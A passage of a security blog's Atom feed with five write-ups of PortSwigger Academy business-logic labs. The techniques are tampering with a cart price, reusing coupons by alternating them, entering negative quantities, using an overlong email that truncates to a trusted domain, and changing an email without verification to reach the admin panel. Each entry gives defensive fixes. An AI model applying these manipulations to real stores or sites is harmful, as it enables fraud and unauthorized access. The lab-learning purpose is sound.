    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The <code>POST /cart</code> request submits both <code>productId</code> and <code>price</code>. Changing <code>price=133700</code> to <code>price=1</code> makes the server add the Lightweight l33t leather jacket for one cent, despite the account having only $100.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-excessive-trust-in-client-side-controls/step-1.png" alt="Lab overview identifying client-controlled `price` in `POST /cart` as the trust boundary for the jacket purchase."><figcaption>Lab overview identifying client-controlled `price` in `POST /cart` as the trust boundary for the jacket purchase.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in with the supplied account and purchase the Lightweight l33t leather jacket. Its normal price is $1,337, while the available balance is $100, so the intended path cannot complete the purchase.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The add-to-cart form sends <code>POST /cart</code> with a client-controlled <code>price</code> field. After the field was changed from <code>133700</code> cents to <code>1</code>, the cart rendered the same product at $0.01 and checkout accepted the manipulated total.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-excessive-trust-in-client-side-controls/step-2.png" alt="Account page shows a $100 balance while the Lightweight l33t leather jacket costs $1,337."><figcaption>Account page shows a $100 balance while the Lightweight l33t leather jacket costs $1,337.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-excessive-trust-in-client-side-controls/step-3.png" alt="Burp intercept displays `productId`, `redir`, `quantity`, and client-supplied `price=133700` in the add-to-cart body."><figcaption>Burp intercept displays `productId`, `redir`, `quantity`, and client-supplied `price=133700` in the add-to-cart body.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Client-controlled price or product attributes are presentation data, not authoritative business data; the server must recalculate them.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Log in and add the Lightweight l33t leather jacket to the cart while Burp intercepts the request.</li><li>In <code>POST /cart</code>, retain the original <code>productId</code> and quantity but change <code>price=133700</code> to <code>price=1</code>.</li><li>Forward the request and inspect the cart. It should display the jacket at $0.01 rather than $1,337.</li><li>Proceed to checkout. The account’s $100 balance now covers the manipulated total, and the purchase completes.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-excessive-trust-in-client-side-controls/step-4.png" alt="Modified `POST /cart` request sends `price=1`, pricing the jacket at one cent instead of 133700 cents."><figcaption>Modified `POST /cart` request sends `price=1`, pricing the jacket at one cent instead of 133700 cents.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-excessive-trust-in-client-side-controls/step-5.png" alt="Shopping cart renders the Lightweight l33t leather jacket with the attacker-supplied $0.01 price."><figcaption>Shopping cart renders the Lightweight l33t leather jacket with the attacker-supplied $0.01 price.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The cart displays the jacket at the submitted one-cent price, checkout succeeds, and the Academy marks the exercise solved. These three states tie the result directly to the modified <code>price</code> parameter.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-excessive-trust-in-client-side-controls/step-6.png" alt="Order confirmation and Academy solved banner show checkout succeeded using the one-cent client-controlled price."><figcaption>Order confirmation and Academy solved banner show checkout succeeded using the one-cent client-controlled price.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>A production variant enables direct revenue loss and fraudulent orders. Treat <code>productId</code> and quantity as requests, but load the authoritative price, discounts, tax, and inventory rules on the server and recalculate the total again at checkout.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The cart trusts a client-supplied price, allowing a product&#39;s value to be changed to one cent before checkout despite the account&#39;s limited balance.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Flawed enforcement of business rules</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-flawed-enforcement-of-business-rules/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-flawed-enforcement-of-business-rules/</id>
    <published>2026-07-09T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The cart remembers only the last coupon. Alternating <code>SIGNUP30</code> and <code>NEWCUST5</code> therefore reapplies both discounts until the $1,337 jacket falls below the $100 balance.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-1.png" alt="Lab overview identifies `POST /cart/coupon` as checking only the most recently applied coupon."><figcaption>Lab overview identifies `POST /cart/coupon` as checking only the most recently applied coupon.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates flawed enforcement of business rules. The supplied accounts and endpoints are used to reproduce only the source note evidence for flawed enforcement of business rules; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The cart remembers only the last coupon. Alternating <code>SIGNUP30</code> and <code>NEWCUST5</code> therefore reapplies both discounts until the $1,337 jacket falls below the $100 balance.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-2.png" alt="Store page advertises the `NEWCUST5` coupon supplied to new customers."><figcaption>Store page advertises the `NEWCUST5` coupon supplied to new customers.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-3.png" alt="Cart total reflects the first $5 reduction after applying `NEWCUST5` to the jacket."><figcaption>Cart total reflects the first $5 reduction after applying `NEWCUST5` to the jacket.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-4.png" alt="Newsletter signup response reveals the second coupon code `SIGNUP30`."><figcaption>Newsletter signup response reveals the second coupon code `SIGNUP30`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Discount validity is checked locally per action rather than against the final order and complete promotion history.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture the baseline request for flawed enforcement of business rules and record the response that represents the intended lab workflow.</li><li>Replay the recorded mutation that exposes flawed enforcement of business rules, keeping the session and other fields unchanged.</li><li>Confirm the flawed enforcement of business rules signal in the response before applying the next source-documented operation.</li><li>Complete the Academy objective using only the confirmed flawed enforcement of business rules behavior and the supplied synthetic account or product data.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-5.png" alt="Cart accepts `SIGNUP30` and applies its 30 percent discount to the current order."><figcaption>Cart accepts `SIGNUP30` and applies its 30 percent discount to the current order.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-6.png" alt="Cart then accepts `NEWCUST5` because it differs from the immediately preceding `SIGNUP30` code."><figcaption>Cart then accepts `NEWCUST5` because it differs from the immediately preceding `SIGNUP30` code.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-7.png" alt="A second `SIGNUP30` submission is accepted after `NEWCUST5`, proving the coupon history is not checked."><figcaption>A second `SIGNUP30` submission is accepted after `NEWCUST5`, proving the coupon history is not checked.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-8.png" alt="Repeated alternating `SIGNUP30` and `NEWCUST5` applications reduce the jacket total below the $100 account balance."><figcaption>Repeated alternating `SIGNUP30` and `NEWCUST5` applications reduce the jacket total below the $100 account balance.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the flawed enforcement of business rules exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-flawed-enforcement-of-business-rules/step-9.png" alt="Order confirmation and solved banner show the discounted Lightweight l33t leather jacket was purchased."><figcaption>Order confirmation and solved banner show the discounted Lightweight l33t leather jacket was purchased.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of flawed enforcement of business rules: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For flawed enforcement of business rules, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-flawed-enforcement-of-business-rules">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The promotion workflow accepts a sequence of discount operations that the intended interface does not prevent, reducing the order total beyond the business rule.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>High-level logic vulnerability</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-high-level/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-high-level/</id>
    <published>2026-07-09T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The <code>POST /cart</code> body accepts a signed <code>quantity</code>. A negative quantity for a second product offsets one jacket while a carefully tuned positive cart total still passes checkout.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-1.png" alt="Lab overview identifies the unchecked client-controlled `quantity` field in `POST /cart`."><figcaption>Lab overview identifies the unchecked client-controlled `quantity` field in `POST /cart`.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates high-level logic vulnerability. The supplied accounts and endpoints are used to reproduce only the source note evidence for high-level logic vulnerability; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The <code>POST /cart</code> body accepts a signed <code>quantity</code>. A negative quantity for a second product offsets one jacket while a carefully tuned positive cart total still passes checkout.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-2.png" alt="Burp request sends an extremely large positive `quantity=10000000`, demonstrating weak quantity constraints."><figcaption>Burp request sends an extremely large positive `quantity=10000000`, demonstrating weak quantity constraints.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-3.png" alt="Cart response accepts `quantity=10000000` and renders the resulting oversized line subtotal."><figcaption>Cart response accepts `quantity=10000000` and renders the resulting oversized line subtotal.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-4.png" alt="The modified add-to-cart request submits a quantity of negative 10,000,002 for the offset product."><figcaption>The modified add-to-cart request submits a quantity of negative 10,000,002 for the offset product.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Quantity validation is incomplete and the total calculation permits values outside the business domain.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture the baseline request for high-level logic vulnerability and record the response that represents the intended lab workflow.</li><li>Replay the recorded mutation that exposes high-level logic vulnerability, keeping the session and other fields unchanged.</li><li>Confirm the high-level logic vulnerability signal in the response before applying the next source-documented operation.</li><li>Complete the Academy objective using only the confirmed high-level logic vulnerability behavior and the supplied synthetic account or product data.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-5.png" alt="Cart displays a negative quantity and a total near negative $1,337 after multiplying price by the signed quantity."><figcaption>Cart displays a negative quantity and a total near negative $1,337 after multiplying price by the signed quantity.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-6.png" alt="Checkout rejects the cart while its aggregate total remains negative."><figcaption>Checkout rejects the cart while its aggregate total remains negative.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-7.png" alt="Cart combines one Lightweight l33t leather jacket with a tuned negative quantity of the offset product."><figcaption>Cart combines one Lightweight l33t leather jacket with a tuned negative quantity of the offset product.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-8.png" alt="Adjusted cart total is positive but below the $100 balance while still containing one jacket."><figcaption>Adjusted cart total is positive but below the $100 balance while still containing one jacket.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the high-level logic vulnerability exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-high-level/step-9.png" alt="Order confirmation and solved banner show checkout accepted the cart containing the negative-quantity offset."><figcaption>Order confirmation and solved banner show checkout accepted the cart containing the negative-quantity offset.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of high-level logic vulnerability: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For high-level logic vulnerability, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-high-level">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The cart accepts a negative quantity, so one line item offsets the cost of another while the order still satisfies the checkout flow.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Inconsistent handling of exceptional input</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-inconsistent-handling-of-exceptional-input/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-inconsistent-handling-of-exceptional-input/</id>
    <published>2026-07-09T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>An overlong registration value is handled differently by separate components, creating an account identity that later satisfies a privileged-domain check.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-1.png" alt="Lab overview contrasts the full SMTP recipient with the database-truncated email used for authorization."><figcaption>Lab overview contrasts the full SMTP recipient with the database-truncated email used for authorization.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates inconsistent handling of exceptional input. The supplied accounts and endpoints are used to reproduce only the source note evidence for inconsistent handling of exceptional input; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The baseline capture for inconsistent handling of exceptional input establishes the intended request and response before any mutation. Subsequent replays isolate the input or state transition responsible for inconsistent handling of exceptional input, and the response evidence shows exactly when the lab accepts the unintended behavior.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-2.png" alt="Registration form creates the baseline account with an address controlled through the lab email client."><figcaption>Registration form creates the baseline account with an address controlled through the lab email client.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-3.png" alt="Email client displays the normal registration confirmation link for the baseline account."><figcaption>Email client displays the normal registration confirmation link for the baseline account.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-4.png" alt="`/admin` denial states that only users whose stored email belongs to DontWannaCry may enter."><figcaption>`/admin` denial states that only users whose stored email belongs to DontWannaCry may enter.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Inconsistent length handling and normalization across workflow stages can transform rejected input into a security-relevant value.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture the baseline request for inconsistent handling of exceptional input and record the response that represents the intended lab workflow.</li><li>Replay the recorded mutation that exposes inconsistent handling of exceptional input, keeping the session and other fields unchanged.</li><li>Confirm the inconsistent handling of exceptional input signal in the response before applying the next source-documented operation.</li><li>Complete the Academy objective using only the confirmed inconsistent handling of exceptional input behavior and the supplied synthetic account or product data.</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;overlong-local-part&gt;@dontwannacry.com.&lt;lab-exploit-server&gt;</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-5.png" alt="Change-email workflow requires confirmation of the replacement address, unlike the simpler domain-change lab."><figcaption>Change-email workflow requires confirmation of the replacement address, unlike the simpler domain-change lab.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-6.png" alt="Change-email request submits an overlong address whose first 255 characters end in `@dontwannacry.com` while the full address routes to the exploit server."><figcaption>Change-email request submits an overlong address whose first 255 characters end in `@dontwannacry.com` while the full address routes to the exploit server.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-7.png" alt="Exploit-server email client receives the confirmation message sent using the untruncated SMTP recipient."><figcaption>Exploit-server email client receives the confirmation message sent using the untruncated SMTP recipient.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-8.png" alt="Email confirmation response validates the overlong `dontwannacry.com.exploit-server.net` address using its delivered token."><figcaption>Email confirmation response validates the overlong `dontwannacry.com.exploit-server.net` address using its delivered token.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-9.png" alt="Account page displays the database-truncated email ending in `@dontwannacry.com`, satisfying the employee-domain check."><figcaption>Account page displays the database-truncated email ending in `@dontwannacry.com`, satisfying the employee-domain check.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the inconsistent handling of exceptional input exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-handling-of-exceptional-input/step-10.png" alt="Admin panel deletion of `carlos` produces the Academy solved response after the normalization mismatch."><figcaption>Admin panel deletion of `carlos` produces the Academy solved response after the normalization mismatch.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of inconsistent handling of exceptional input: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For inconsistent handling of exceptional input, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">An overlong registration value is handled differently by separate components, creating an account identity that later satisfies a privileged-domain check.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="business-logic" scheme="https://blog.nhhoang.io.vn/tags/business-logic/"/>
    
  </entry>
  
  <entry>
    <title>Inconsistent security controls</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-inconsistent-security-controls/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-logic-flaws-inconsistent-security-controls/</id>
    <published>2026-07-09T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Registration verifies an email address, but <code>/my-account/change-email</code> immediately trusts a replacement. Setting <code>admin@dontwannacry.com</code> satisfies the domain-only <code>/admin</code> rule.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-security-controls/step-1.png" alt="Lab overview identifies email-domain authorization for `/admin` and the weaker unverified change-email path."><figcaption>Lab overview identifies email-domain authorization for `/admin` and the weaker unverified change-email path.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>This intentionally vulnerable Academy exercise isolates inconsistent security controls. The supplied accounts and endpoints are used to reproduce only the source note evidence for inconsistent security controls; all request changes remain inside this Academy instance.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Registration verifies an email address, but <code>/my-account/change-email</code> immediately trusts a replacement. Setting <code>admin@dontwannacry.com</code> satisfies the domain-only <code>/admin</code> rule.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-security-controls/step-2.png" alt="Email client displays the account registration confirmation message sent to the initial address."><figcaption>Email client displays the account registration confirmation message sent to the initial address.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-security-controls/step-3.png" alt="Account page shows the registered user is active and that replacement email addresses take effect without verification."><figcaption>Account page shows the registered user is active and that replacement email addresses take effect without verification.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Equivalent state changes must enforce identical security invariants regardless of which endpoint performs them.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture the baseline request for inconsistent security controls and record the response that represents the intended lab workflow.</li><li>Replay the recorded mutation that exposes inconsistent security controls, keeping the session and other fields unchanged.</li><li>Confirm the inconsistent security controls signal in the response before applying the next source-documented operation.</li><li>Complete the Academy objective using only the confirmed inconsistent security controls behavior and the supplied synthetic account or product data.</li></ol><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-security-controls/step-4.png" alt="Direct `/admin` response states that access is restricted to DontWannaCry employees."><figcaption>Direct `/admin` response states that access is restricted to DontWannaCry employees.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-security-controls/step-5.png" alt="Change-email form sets the active account address to `admin@dontwannacry.com` immediately."><figcaption>Change-email form sets the active account address to `admin@dontwannacry.com` immediately.</figcaption></figure><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-security-controls/step-6.png" alt="Admin panel now exposes user management and the delete action for `carlos` based solely on the changed domain."><figcaption>Admin panel now exposes user management and the delete action for `carlos` based solely on the changed domain.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The final capture shows the Academy marking the inconsistent security controls exercise as solved after the documented request sequence. No testing was performed outside the isolated lab.</p><figure><img src="/images/portswigger/business-logic/lab-logic-flaws-inconsistent-security-controls/step-7.png" alt="Academy solved response appears after deleting `carlos` through the newly accessible admin panel."><figcaption>Academy solved response appears after deleting `carlos` through the newly accessible admin panel.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The evidence demonstrates the concrete risk of inconsistent security controls: a server-side trust decision can be bypassed through the exact input or workflow shown in this lab. For inconsistent security controls, the server must enforce the exact invariant violated in the captured sequence and regression-test that mutation alongside the normal path.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The registration and profile-update paths apply different restrictions to the same email identity, allowing the protected domain rule to be reached through the weaker path.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Business Logic" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Business-Logic/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
